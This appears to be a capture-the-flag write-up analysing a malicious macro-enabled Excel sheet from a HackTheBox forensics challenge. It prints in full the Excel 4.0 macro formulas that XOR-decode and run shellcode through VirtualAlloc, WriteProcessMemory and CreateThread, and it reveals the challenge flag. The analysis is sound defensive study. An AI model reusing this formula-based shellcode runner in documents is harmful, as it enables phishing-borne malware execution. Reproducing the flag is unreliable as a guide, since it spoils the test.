Intro
Free Services was a 2-star rated Forenscis challenge that seemed to be like any old maldoc challenge, featuring a .xlsm
, aka macro-enabled Excel sheet. However, like most HackTheBox malware challenges, some wrenches have been thrown in it to make it not work, subverting dynamic analysis altogether. After observing that the sheet isn’t being picked up as OLE, I’ll open it in LibreOffice Calc to bypass any macro execution and find that it’s a shellcode runner that uses the formulas instead of regular macros. Picking apart the formulas, we can reassemble the shellcode and print out the flag.
Description
Intergalactic Federation stated that it managed to prevent a large-scale phishing campaign that targeted all space personnel across the galaxy. The enemy's goal was to add as many spaceships to their space-botnet as possible so they can conduct distributed destruction of intergalactic services (DDOIS) using their fleet. Since such a campaign can be easily detected and prevented, malicious actors have changed their tactics. As stated by officials, a new spear phishing campaign is underway aiming high value targets. Now Klaus asks your opinion about a mail it received from "sales@unlockyourmind.gal", claiming that in their galaxy it is possible to recover it's memory back by following the steps contained in the attached file.
Initial Analysis
Normally, my malware analysis methodology is heavily reliant on dynamic analysis to drop the big hints, but dropping this in Any.Run didn’t really do much, so we’re going to have to pick this apart ourselves.
Despite the ‘m’ in the extension, the file
command isn’t picking this up as macro-enabled.
I’ll try running olevba
and oledump
, but I won’t get any results back.
I even tried to use xlmdeobfuscator
but that seems to do nothing either.
It seems like there’s very little we can poke at from the outside. While I could unzip the file into its parts, it’s a little overkill for now, so I’ll open it up in LibreOffice Calc and see what’s up.
Reviewing the Sheet
Ah, classic ransomware operators… :)
There wasn’t much on the opening sheet aside from the image, as many times things can be hidden in the cells behind an image. But, notice that there’s an additional sheet here called ‘Macro1’. Seems interesting.
It is very interesting.
Investigating this sheet, we find that there are two major components:
- The 772 integers.
- The formulas at the top left.
LibreOffice doesn’t want to show all of the text on all of them, so I’ll type them out here:
=select(E1:G258)
=call("Kernel32","VirtualAlloc","JJJJJ",0,386,4096,64)
=set.value(C1, 0)
=for("counter",0,772,2)
=set.value(B1,CHAR(BITXOR(active.cell(),24)))
=call("Kernel32","WriteProcessMemory","JJJCJJ",-1, A2 + C1,β1, LEN(β1), 0)
=set.value(C1, C1 + 1)
=select(, "RC[2]")
=next()
=CALL("Kernel32","CreateThread","JJJJJJJ",0, 0, R2C6, 0, 0, 0)
=workbook.activate("Sheet1")
HALT()
The calls are referencing functions in what is known as the Windows API, which, simply put, is an application programming interface that allows programmers to talk directly to the Windows Operating System without doing some crazy work in C. Like most API’s, it’s for abstraction.
This chain of function calls, VirtualAlloc
, WriteProcessMemory
, and CreateThread
is a well-known combo used for a shellcode runner/dropper. From a very high level, VirtualAlloc
will allocate a certain amount of memory in the current process, WriteProcessMemory
is used to write into that buffer, and then CreateThread
is used to execute that code. I tried playing around with this while solving the challenge to understand it some more as I haven’t seen APIs be called like this before, but I had no luck. If you’re reading this and know more, feel free to let me know how.
But regardless of the specifics of how it works, we can break down what probably is supposed to happen based off of the syntax.
array = the shellcode array
Allocate 386 bytes into the current(?) process
for c1 = 0; c1 < 772; c1 += 2{
b1 = array[c1] ^ 24
Write b1 into the current process' memory
c1 += 1
}
CreateThread
Grabbing the Flag
The pseudocode isn’t very structured, but the gist of it is that we take every other byte from the shellcode, XOR with 24, write all of that into the current process’ memory, and execute it. For our analysis purposes, we can just recover the shellcode, and then use something like scdbg
to figure out what the shellcode does.
I’ll copy out the integers and then fix them up to be put into a python script like so:
Running it, we see this in the terminal:
Since I did this from Kali, because I didn’t want to install LibreOffice on Remnux/FLARE and my computer was chugging that day, I didn’t get a chance to run it through a debugger or scdbg
. However, you don’t need to to get the flag, or really understand what the code is doing:
The LOLBAS binary utilman.exe
is being used to get some kind of persistence/backdoor, and the flag, HTB{1s_th1s_g4l4xy_l0st_1n_t1m3??!}
, is there alongside it.